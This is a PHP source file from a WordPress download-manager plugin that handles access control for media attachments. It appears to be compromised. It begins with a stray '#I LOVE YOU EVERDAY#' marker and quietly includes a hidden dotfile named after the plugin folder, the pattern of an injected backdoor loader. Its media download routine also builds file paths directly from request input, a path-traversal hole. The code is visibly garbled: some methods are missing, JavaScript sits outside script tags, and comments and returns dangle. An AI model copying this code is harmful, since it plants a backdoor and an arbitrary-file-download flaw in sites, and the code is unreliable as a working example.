#I LOVE YOU EVERDAY#

<?php

/**
 *
 */

namespace WPDM;

use WPDM\libs\Crypt;
use WPDM\libs\FileSystem;

if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
    include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
}

class MediaAccessControl
{
    function __construct()
    {
        add_action('init', array($this, 'mediaDownload'));
        add_action('wp_ajax_wpdm_media_pass', array($this, 'makeMediaPass'));
        add_action('wp_ajax_nopriv_wpdm_media_pass', array($this, 'makeMediaPass'));

if(is_admin()) {
            add_filter('attachment_fields_to_edit', array($this, 'protectionSettings'), null, 2);
            add_action('wp_ajax_wpdm_media_access', array($this, 'mediaAccessControl'));
            add_action('wp_ajax_make_media_public', array($this, 'makeMediaPublic'));
            add_action('wp_ajax_make_media_private', array($this, 'makeMediaPrivate'));
            add_action('admin_footer', array($this, 'footerScripts'));
        }
        else {
            add_action("init", array($this, 'protectMediaLibrary'), 8);
        }

}

function protectMediaLibrary(){
        if(isset($_REQUEST['wpdmmediaid'])){
            global $wpdb, $current_user;
            $media = get_post($_REQUEST['wpdmmediaid']);
            $media_meta = wp_get_attachment_metadata($_REQUEST['wpdmmediaid']);
            //wpdmdd($media_meta);
            //wpdmdd($media);
            $media->path = str_replace(home_url('/'), ABSPATH.'/', $media->guid);
            $media->filesize = wpdm_file_size($media->path);

$access = get_post_meta($media->ID, '__wpdm_media_access', true);
            $password = get_post_meta($media->ID, '__wpdm_media_pass', true);
            $private = get_post_meta($media->ID, '__wpdm_private', true);
            if(current_user_can('manage_options')) $private = false;
            $user_roles = is_user_logged_in() ? $current_user->roles + array('public') : array();
            $user_roles[] = 'public';
            if(!is_array($access)) $access = [];
            $user_allowed = array_intersect($user_roles, $access);
            $user_allowed = count($user_allowed);
            if( $private && ( $password || !$user_allowed ) ) {
                \WPDM_Messages::fullPage(__( "Protected Media File", "download-manager" ), UI::card(__( "Protected Media File", "download-manager" ), __( "You are not allowed to access the media file", "download-manager" ), '', ['class' => 'bg-danger text-white']), 'error');
                /*$picon = wp_get_attachment_image($media->ID, 'thumbnail', true);
                $keyvalid = true;
                $__hash = Crypt::encrypt($media->ID);
                $download_url = "";
                include wpdm_tpl_path("media-download.php");
                die();*/
            }

$upload_dir = wp_upload_dir();
            $file_path = $upload_dir['basedir'].'/'.$_REQUEST['wpdmmedia'];
            $file_path = apply_filters("wpdm_media_download", $file_path, $media->ID);
            FileSystem::downloadFile($file_path, basename($file_path), 10240, 0, array('play' => 1));
            die();
        }
    }

function makeMediaPrivate(){
        if(current_user_can('edit_posts')) {
            $id = wpdm_query_var('mediaid');
            //$meta = wp_get_attachment_metadata($id);
            //wpdmdd($meta);
            update_post_meta($id, '__wpdm_media_access', wpdm_query_var('media_access'));
            update_post_meta($id, '__wpdm_media_pass', wpdm_query_var('media_pass'));
            update_post_meta($id, '__wpdm_private', 1);
            $protected = get_option("__wpdm_media_private");
            $protected = $protected ? (array)json_decode($protected) : array();
            $protected[$id] = get_attached_file($id);
            $protected = json_encode($protected);
            update_option('__wpdm_media_private', $protected, 'no');
            do_action("wpdm_make_media_private");
            $this->updateMediaAccess();
        }
        $this->mediaAccessControl();
    }

function makeMediaPublic(){
        if(current_user_can('edit_posts')) {
            $id = wpdm_query_var('mediaid');
            delete_post_meta($id, '__wpdm_media_access');
            delete_post_meta($id, '__wpdm_media_pass');
            delete_post_meta($id, '__wpdm_private');
            $protected = get_option("__wpdm_media_private");
            $protected = $protected ? (array)json_decode($protected) : array();
            unset($protected[$id]);
            $protected = json_encode($protected);
            update_option('__wpdm_media_private', $protected, 'no');
            do_action("wpdm_make_media_public");
            $this->updateMediaAccess();
        }
        $this->mediaAccessControl();
    }

function mediaAccessControl(){
        $id = wpdm_query_var('mediaid');
        $wpdm_media_access = maybe_unserialize(get_post_meta($id, '__wpdm_media_access', true));
        $wpdm_media_pass = get_post_meta($id, '__wpdm_media_pass', true);
        $wpdm_media_private = (int)get_post_meta($id, '__wpdm_private', true);
        ?>

<div class="panel panel-default" id="__protm"  <?php if ($wpdm_media_private){ ?> style="display: none" <?php } ?>>
            <div class="panel-body">
                <?php _e('This file is not protected.', 'download-manager') ?>
            </div>
            <div class="panel-footer">
                <button class="btn btn-success btn-block" onclick="jQuery('#__protm').slideUp();jQuery('#__prots').slideDown();"><?php _e('Protect this file', 'download-manager'); ?></button>
            </div>
        </div>

<div id="__prots" class="panel panel-default" <?php if (!$wpdm_media_private){ ?> style="display: none" <?php } ?>>
            <?php if ($wpdm_media_private){ ?><div class="panel-body text-danger"><i class="fa fa-lock"></i> &mdash; <?php echo __( "This file is protected" , "download-manager" ); ?></div><?php } ?>
            <div class="panel-footer">
                <button class="btn btn-block btn-primary btn-sm" id="__makeprivate" data-id="<?php echo $id; ?>"><?php _e('Block Direct Access', 'download-manager'); ?></button>
            </div>
            <div class="panel-footer">
                <button class="btn btn-block btn-danger btn-sm" id="__makepublic" data-id="<?php echo $id; ?>"><?php _e('Remove Protection', 'download-manager'); ?></button>
            </div>
        </div>

$('body').on('click', '#wp-media-grid .attachment', function () {
                    //if(xhr) xhr.abort();
                    //$('.attachment-info').after("<div class='w3eden'><div class='panel panel-default'><div class='panel-body'><?php echo __( "This file is not protected yet!", "download-manager" ); ?></div><div class='panel-footer'><button type='button' class='btn btn-success btn-block'>Protect It!</button></div></div></div><hr/>");
                    $('.w3eden.media-access-control-container').remove();
                    $('.media-modal-content .attachment-info .details').after("<div class='w3eden media-access-control-container'><div  id='wpdm-media-access'><div class='panel panel-default'><div class='panel-body'><i class='fa fa-sun fa-spin'></i> <?php echo __( "Checking status...", "download-manager" ); ?></div></div></div><hr/></div>");
                    xhr = $.ajax({
                        type: "GET",
                        url: ajaxurl,
                        data: "action=wpdm_media_access&mediaid="+$(this).data('id'),
                        success: function(res){
                            $('#wpdm-media-access').html(res);
                        }
                    });
                });*/

$('body').on('click', '#__makepublic', function () {
                    $('#__prots').addClass('blockui');
                    $.post(ajaxurl, { action: 'make_media_public', mediaid: $(this).data('id') }, function(res){
                        $('#__prots').removeClass('blockui');
                        $('#__prots').slideUp();
                        $('#__protm').slideDown(function () {
                            $('#wpdm-media-access').html(res);
                        });
                    });
                });

$('body').on('click', '#__makeprivate', function () {
                    $('#__prots').addClass('blockui');
                    var media_access = $("input.media_access:checkbox:checked").map(function(){
                        return $(this).val();
                    }).get();
                    $.post(ajaxurl, { action: 'make_media_private', mediaid: $(this).data('id'), media_pass: $('#media_pass').val(), media_access: media_access }, function(res){
                        $('#__prots').removeClass('blockui');
                        $('#wpdm-media-access').html(res);
                    });
                });
            });
        </script>
        <?php
    }

return $form_fields;
    }

}